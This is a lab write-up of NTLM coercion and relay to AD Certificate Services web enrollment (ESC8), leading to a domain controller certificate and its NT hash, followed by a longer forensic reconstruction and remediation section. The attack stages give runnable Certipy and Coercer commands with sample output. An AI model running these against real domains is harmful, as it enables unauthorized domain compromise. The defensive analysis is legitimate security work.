krbtgtJuly 23, 2026
Coercion to krbtgt: NTLM Relay and ADCS ESC8 in 2026
A lab-verified walkthrough of the coercion to relay to certificate chain, and the forensic method for reconstructing it after the fact.

By Gilo
14 min read
Microsoft has spent three years telling everyone NTLM is on the way out. The deprecation is real, Windows Server 2025 ships with defaults that break the classic relay path, and the messaging is confident. None of it helped the kind of estate I see most often, the one running 2019 and 2022 domain controllers, which will hand a low privilege user the krbtgt hash in a minute.
This report walks the full chain end to end against a lab I built, from a coerced authentication to a forged Domain Controller certificate to full domain compromise, and then does the part that matters more: it shows exactly what the attack leaves behind, and how a responder reconstructs it from the evidence. ESC8 has been public since 2021, so proving the technique works is not the point. The point is the forensics, and the specific places where most environments are blind.
The offensive stages are deliberately brief. The weight of the document is on the investigation.
Why this still matters
Active Directory remains where intrusions end. Mandiant has reported that roughly 90 percent of its incident response engagements involve Active Directory in some way, whether as the initial vector, the persistence mechanism, or the escalation path. Sophos, reviewing 661 incident response and MDR cases from late 2024 through late 2025, attributed the majority of root causes to identity. Verizon's 2025 DBIR found credential abuse was the single most common way into a breach, and stolen credentials featured in 88 percent of web application attacks. NTLM relay is one of the most reliable ways to convert a single foothold into all of those outcomes at once.
It is not theoretical. Microsoft patched CVE-2025-24054 in March 2025, an NTLM hash disclosure flaw that fires when a user browses to a folder containing a malicious .library-ms file. Check Point Research observed exploitation against government targets in Poland and Romania within eight days of the patch, and CISA added it to the Known Exploited Vulnerabilities catalog on April 17, 2025. The tooling that drives the relay chain, Certipy and Coercer, is actively maintained. This is a live technique.
The deprecation timeline, and why it does not save you
Microsoft's NTLM retirement runs in three phases. Phase one is already present in Windows 11 24H2 and Server 2025, adding enhanced auditing and disabling NTLMv1 by default. Phase two, expected in the second half of 2026, uses IAKerb and a local KDC to reduce NTLM fallback. Phase three, targeted for October 2026, sets BlockNTLMv1SSO to enforce.
The detail that undoes the reassurance is that phase three blocks NTLMv1 single sign on, while NTLMv2, the version every relay attack in this report uses, remains. There is no committed date for its removal, because legacy applications, workgroup systems, appliances with frozen firmware, and cross-forest trusts still depend on it. The estate most exposed to relay is the one running 2019 and 2022, not 2025. Build detections for the environment you operate, not the one on the roadmap.
How the attack works
NTLM is a challenge and response protocol. The client requests authentication, the server returns an eight byte challenge, and the client returns a response computed from that challenge and the account's password hash. The structural flaw is that the server accepting the authentication is not cryptographically bound to the server that issued the challenge. An adversary in the middle forwards the negotiation to a different target, relays the challenge back to the victim, captures the response, and replays it. The target issued the challenge and received a valid response, so nothing appears wrong, and the adversary holds a session as the victim.
Signing defeats this, because SMB signing and LDAP channel binding tie the authentication to the transport channel. HTTP carries no such requirement, and Active Directory Certificate Services runs its web enrollment over HTTP. That is the gap ESC8 drives through, and it is the reason ESC8 has outlived every other relay target. There is no signing control to enable for plain HTTP.
The Lab
Three hosts on one subnet, plus a low privilege account. Nothing exotic, which is the point.
Stage 1: locate the vulnerable CA
Certipy's find with -vulnerable enumerates the certificate authorities and templates and flags what is abusable. One command answers whether the domain has an ESC8 exposure.
certipy find -u 'blwasp@lab.local' -p '<password>' -dc-ip 172.16.19.3 -vulnerable -stdoutcertipy find -u 'blwasp@lab.local' -p '<password>' -dc-ip 172.16.19.3 -vulnerable -stdoutIn the lab it returned immediately. lab-WS01-CA has Web Enrollment enabled, Request Disposition set to Issue, and Enforce Encryption for Requests disabled. Certipy flags two issues at once. ESC8, because web enrollment is on and the CA issues on request, which is precisely the condition for HTTP relay. ESC11, because encryption is not enforced for the ICPR RPC certificate request interface, which opens a second relay path over RPC and DCOM rather than HTTP. ESC11 matters for the investigation later, because that path never touches IIS and therefore leaves no web log. For this walkthrough I took the HTTP path.
A quick confirmation that web enrollment is reachable and negotiating NTLM:
curl -I http://172.16.19.5/certsrv/
# HTTP 401 with a WWW-Authenticate: NTLM header confirms a relay-capable endpointcurl -I http://172.16.19.5/certsrv/
# HTTP 401 with a WWW-Authenticate: NTLM header confirms a relay-capable endpointStage 2: relay and coerce
Older writeups pair ntlmrelayx with a separate coercion tool. Certipy now integrates the relay, so the current form is two tools in two terminals: certipy relay listening, and Coercer forcing the DC to authenticate to it.
Terminal one, the relay, pointed at the CA and requesting a certificate on the DomainController template:
sudo certipy relay -target 172.16.19.5 -template DomainControllersudo certipy relay -target 172.16.19.5 -template DomainControllerCertipy prints Targeting http://172.16.19.5/certsrv/certfnsh.asp (ESC8) and listens on port 445. It now needs an inbound authentication to relay.
Terminal two, the coercion. Coercer walks the known primitives and forces LAB-DC$ to authenticate back to the attacker:
coercer coerce -l 172.16.19.19 -t 172.16.19.3 -u 'blwasp' -p '<password>' -d lab.local --always-continuecoercer coerce -l 172.16.19.19 -t 172.16.19.3 -u 'blwasp' -p '<password>' -d lab.local --always-continueIn this run Coercer triggered on MS-RPRN, the Print System Remote protocol and the original PrinterBug, and on MS-EVEN, the EventLog remoting protocol, both returning NO_AUTH_RECEIVED, which is how Coercer reports that the coercion call went through and the DC is now reaching out. The moment the DC authenticates, Certipy catches it, relays it to the CA over HTTP, and the CA issues a certificate for DC\LAB-DC$:
[*] Got certificate with DNS Host Name 'lab-dc.lab.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'lab-dc.pfx'[*] Got certificate with DNS Host Name 'lab-dc.lab.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'lab-dc.pfx'Note the middle line. Certificate has no object SID is not cosmetic, and it becomes central to the investigation. Hold that thought.
I now hold a certificate for the domain controller's machine account, signed by the organization's own CA, obtained as an unprivileged user.
Stage 3: certificate to hash
A machine certificate is equivalent to the machine's credentials. Certipy's auth presents the PFX to obtain a Kerberos TGT and, via UnPAC-the-hash, recovers the account's NT hash.
bash
certipy auth -pfx lab-dc.pfxcertipy auth -pfx lab-dc.pfxIt authenticates as lab-dc$@lab.local, obtains the TGT, saves the ccache, and prints the NT hash for LAB-DC$.
What it looks like on the wire
Packet capture is a luxury you rarely have during a real investigation, but in the lab it makes the chain legible. Filtering on ntlmssp lines up the authentication story end to end.
Two facts in that capture are the entire detection thesis. First, DC\LAB-DC$ authenticating outbound to a workstation address is backwards. Domain controllers do not initiate NTLM to arbitrary hosts. Second, that machine account's authentication appearing in an HTTP request to /certsrv/certfnsh.asp from a non-DC source is ESC8 in a single line, because a domain controller that enrolls legitimately does so from its own address through DCOM auto-enrollment, never over HTTP from a workstation.
The DCSync is visible too. Filtering the DRSUAPI traffic from the DC back to the attacker shows the encrypted replication response carrying the credential data.
The forensic method
This is where the report earns its keep. A relay leaves no payload on disk and no shellcode. You reconstruct it from its consequences, and those consequences are spread across two hosts with two different access requirements. The certificate database and the issuance events live on the CA. The Kerberos evidence lives on the DC. A single foothold on one does not give you the other, and knowing where each artifact lives is half the work.
Everything below runs from a native prompt. No SIEM, no agent, no third-party rule engine.
Correcting a common mistake about Event 4887
A great deal of published guidance claims that Event 4887 shows a certificate issued to a machine account from a non-DC source IP, and treats that event as a self-contained detection. The logic is right but the mechanism is wrong, and getting it wrong will send an analyst looking for a field that does not exist.
Event 4887 records the issuance itself: the Request ID, the requester account, the disposition, the subject, and the template. It does not reliably carry the client's network address. To establish where the request originated you correlate the 4887 by its Request ID and timestamp against one of two sources. For the HTTP path, the CA's IIS logs record the true client address on the POST to certfnsh.asp. For any relayed NTLM, the CA also logs a 4624 Type 3 network logon for the machine account whose source address is the relay host. So the method is: 4887 tells you what was issued and to whom, and the IIS log or the 4624 tells you where it came from. State it that way and your report survives scrutiny.
Enable Certificate Services auditing first, because none of these CA events exist by default:
certutil -setreg CA\AuditFilter 127
auditpol /set /subcategory:"Certification Services" /success:enable /failure:enable
net stop certsvc && net start certsvccertutil -setreg CA\AuditFilter 127
auditpol /set /subcategory:"Certification Services" /success:enable /failure:enable
net stop certsvc && net start certsvcPull the issuance events on the CA:
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4887} | Format-List TimeCreated, MessageGet-WinEvent -FilterHashtable @{LogName='Security'; Id=4887} | Format-List TimeCreated, MessageNote: in the lab I enabled Certificate Services auditing before running the chain, so the issuance events would be captured. On a real engagement this is the fork in the road. If auditing was on beforehand you get this event; if it was not, it never existed and the CA database is your only record. In the lab I reached the CA by pass-the-hash; on a real engagement you would use legitimate CA-admin access.
Then recover the true source from the CA's web logs, which is the correction in practice:
Get-ChildItem "C:\inetpub\logs\LogFiles" -Recurse -Filter *.log | Select-String -Pattern "certfnsh.asp"Get-ChildItem "C:\inetpub\logs\LogFiles" -Recurse -Filter *.log | Select-String -Pattern "certfnsh.asp"
The certificate serial: the pivot that ties it together
The single strongest artifact in this investigation is a serial number, because it links the certificate to the Kerberos ticket it produced, with no dependence on source IP at all.
Start from the CA database, which is authoritative and maps everything to a serial:
certutil -view -restrict "Disposition=20" -out "RequestID,RequesterName,SerialNumber,CertificateTemplate,NotBefore"certutil -view -restrict "Disposition=20" -out "RequestID,RequesterName,SerialNumber,CertificateTemplate,NotBefore"
Take that serial to the domain controller. When the attacker used the certificate to obtain a TGT, the DC logged Event 4768 with a Certificate Information block containing the issuer, serial number, and thumbprint of the certificate presented:
powershell -c "Get-WinEvent -FilterHashtable @{LogName='Security';Id=4768} | Where-Object { $_.Message -match 'Pre-Authentication Type:\s+16' } | Format-List TimeCreated, Message"powershell -c "Get-WinEvent -FilterHashtable @{LogName='Security';Id=4768} | Where-Object { $_.Message -match 'Pre-Authentication Type:\s+16' } | Format-List TimeCreated, Message"
The complete linkage reads: the serial in the DC's 4768 matches a serial in the CA database, whose Request ID matches the 4886 and 4887 issuance, whose timestamp aligns with the IIS c-ip and the CA's 4624. One certificate, one machine account, proven across four independent records.
The "no object SID" line, and why 2026 changes the calculus
Return to the Certificate has no object SID warning from the certipy relay output in Stage 2. It is the most important detail in the capture, and almost every writeup scrolls past it.
Since KB5014754, a CA embeds the requester's SID into issued certificates through the szOID_NTDS_CA_SECURITY_EXTextension, and domain controllers enforce that binding through the StrongCertificateBindingEnforcement value under HKLM\SYSTEM\CurrentControlSet\Services\Kdc, where 0 is disabled, 1 is compatibility, and 2 is full enforcement. A certificate obtained through relayed web enrollment carries no such SID, which is exactly why Certipy prints the warning. Under full enforcement, a domain controller should refuse to map that certificate to the account, and the whole ESC8 chain would stall at certipy auth.
You can see the problem in the certificate itself. Decode the PFX and two things stand out, along with one thing that is conspicuously missing:
openssl pkcs12 -in lab-dc.pfx -nokeys -passin pass: 2>/dev/null | openssl x509 -noout -ext subjectAltName,extendedKeyUsage
openssl pkcs12 -in lab-dc.pfx -nokeys -passin pass: 2>/dev/null | openssl x509 -noout -text | grep -i "1.3.6.1.4.1.311.25.2"openssl pkcs12 -in lab-dc.pfx -nokeys -passin pass: 2>/dev/null | openssl x509 -noout -ext subjectAltName,extendedKeyUsage
openssl pkcs12 -in lab-dc.pfx -nokeys -passin pass: 2>/dev/null | openssl x509 -noout -text | grep -i "1.3.6.1.4.1.311.25.2"
The certificate authenticates as the domain controller through the DNS name in its SAN, and it is valid for client authentication, which is all PKINIT requires. What it does not have is a SID security extension. There is no cryptographic binding to LAB-DC$ at all, only the implicit DNS name. Strong certificate binding exists precisely to reject that kind of implicit mapping.
That is the theory. Whether it stops the attack comes down to one registry value on the domain controller, and confirming it takes one command:
reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v StrongCertificateBindingEnforcementreg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v StrongCertificateBindingEnforcementThe value is absent, and the KDC does not publish the strong-mapping audit events (39, 40, 41) on this build either. So the certificate has no SID to bind, and the DC has no enforcement to demand one. The relayed certificate was accepted silently, and the attacker walked straight through to a TGT. This is not an edge case. It is the state most 2019 and 2022 estates still run in, and it is the reason ESC8 remains so dependable in the field.
This is also where you measure your own exposure, because the outcome flips entirely on that one registry value. On a fully patched domain controller with StrongCertificateBindingEnforcement set to 2, the same certipy auth should fail, rejected for the missing SID binding, and the KDC should log the mapping failure. Set it to 1 and the logon still succeeds but the warning is written, giving you a detection signal without breaking anything. Running the chain against both states, and recording that certipy auth succeeds at 0 and 1 but fails at 2, is the single most useful thing a defender can take from this report. It is the difference between assuming you are covered and knowing it, and it is what separates a 2026 analysis from a 2021 technique retold.
The timeline
Lay the records on one line and watch them collapse onto a single certificate and a single source inside a one-minute window. This table, built by hand from the queries above, is the deliverable of the investigation.
One serial, one attacker address, a coherent sequence across two hosts, and no vendor product involved. The DCSync itself was visible only on the wire and in the attacker's tooling, because the attacker replayed the certificate as the domain controller's own machine account, and that replication blends into legitimate directory activity. That is why the certificate serial pivot carries this investigation rather than a replication event.
The truth about remediation, demonstrated
Resetting the compromised account's password does nothing to the stolen certificate. PKINIT authenticates the certificate, not the password, so the reset changes nothing that matters to the attacker.
Reset the machine account and re-run the authentication, and the certificate still returns a TGT:
Revocation is the actual control, but on its own it is not immediate. Revoke the certificate on the CA and publish the CRL:
certutil -revoke <serial-of-the-cert-in-your-pfx> 1
certutil -crlcertutil -revoke <serial-of-the-cert-in-your-pfx> 1
certutil -crl
At this point the domain controller will still accept the certificate, because it is validating against a cached copy of the old CRL. Only after the KDC's CRL cache is force-refreshed does authentication finally fail:
certutil -urlcache CRL delete
certutil -setreg chain\ChainCacheResyncFiletime @nowcertutil -urlcache CRL delete
certutil -setreg chain\ChainCacheResyncFiletime @now
The lesson is the reason this step gets skipped in real incidents. Revocation is the effective control for ESC8, but it is not instantaneous, and a domain controller will keep honoring a revoked certificate until its cached CRL expires or is refreshed. In environments where the CRL distribution point is unreachable, the KDC fails open and the certificate keeps working indefinitely. This is exactly why ESC8 remediation cannot rely on revocation alone, and must also pull HTTP web enrollment offline, reset the affected machine account, and enforce Extended Protection.
What you will not see by default
An honest account of the gaps is what experienced responders trust, because it matches what they actually find on real engagements.
The recurring failure on real cases is not that the artifacts are subtle. It is that CA auditing was never enabled, so the two events that prove the whole thing were never written. If you take one operational action from this report, enable Certificate Services auditing before you need it.
Containment
Revocation is the step teams skip, and skipping it is why adversaries persist after a supposedly remediated incident. A stolen certificate stays valid until it is revoked or expires, and a password reset does not touch it. Revoke every certificate the attacker obtained, republish the CRL, and force the KDC's CRL cache to refresh, because until it does the domain controller keeps honoring the revoked certificate (as shown earlier). Alongside that, pull HTTP web enrollment offline until Extended Protection and HTTPS are in place, isolate the host that performed the coercion and relay, and treat the compromised DC machine account as a Tier 0 event. Its Kerberos keys can forge tickets, so plan to reset it, and if DCSync ran, rotate krbtgt twice and treat the whole domain's credentials as exposed.
Eradication and hardening
Removing the conditions that made the chain viable is the real fix, and none of it depends on Microsoft's timeline.
Put Extended Protection for Authentication and HTTPS on every ADCS web endpoint, or remove web enrollment entirely where nothing requires it. That is the structural fix for the HTTP relay target and the one thing ESC8 cannot survive. Enforce SMB signing across the whole domain rather than the DCs alone, and enable LDAP signing and channel binding on every DC, testing in audit mode before enforcing: "Domain controller: LDAP server signing requirements" to require signing, "Domain controller: LDAP server channel binding token requirements" to always, and "Microsoft network client and server: Digitally sign communications (always)" to enabled. Disable the WebClient service by Group Policy wherever WebDAV is not required, which removes the SMB signing bypass. Enable NTLM auditing through the "Network security: Restrict NTLM" policies so the traffic is visible before you block it. Keep ADCS reachable only from management networks. Move StrongCertificateBindingEnforcement to full enforcement once you have confirmed no legitimate certificates rely on weak mapping. Prioritize moving domain controllers to Server 2025, since they are the coercion target and the 2025 defaults break the classic path. And patch CVE-2025-24054, because the .library-msvector needs nothing more than a user opening a folder.
The cleanest verification is a before and after: runcertipy find -vulnerable, apply Extended Protection, and run it again to confirm the template is no longer flagged.
Assessment
Microsoft's NTLM deprecation is genuine progress, and Server 2025's defaults are the strongest relay hardening in years. But a multi-year retirement of a protocol wired into every layer of the enterprise leaves the technique practical today and well into 2027 for most organizations. The offense has consistently adapted faster than the rollout. SMB relay became harder, so WebDAV coercion appeared. LDAP channel binding closed that path, so operators pivoted to ADCS HTTP endpoints that can never require signing. Certipy and Coercer have tracked every fix shipped.
The defensive task does not wait on any of that. Enable Certificate Services auditing. Learn to pivot on the certificate serial. Enforce Extended Protection, signing, and strong certificate mapping. Remove web enrollment over HTTP. The distance between deprecated and gone is exactly where this attack operates, and it is exactly where the investigation has to be ready.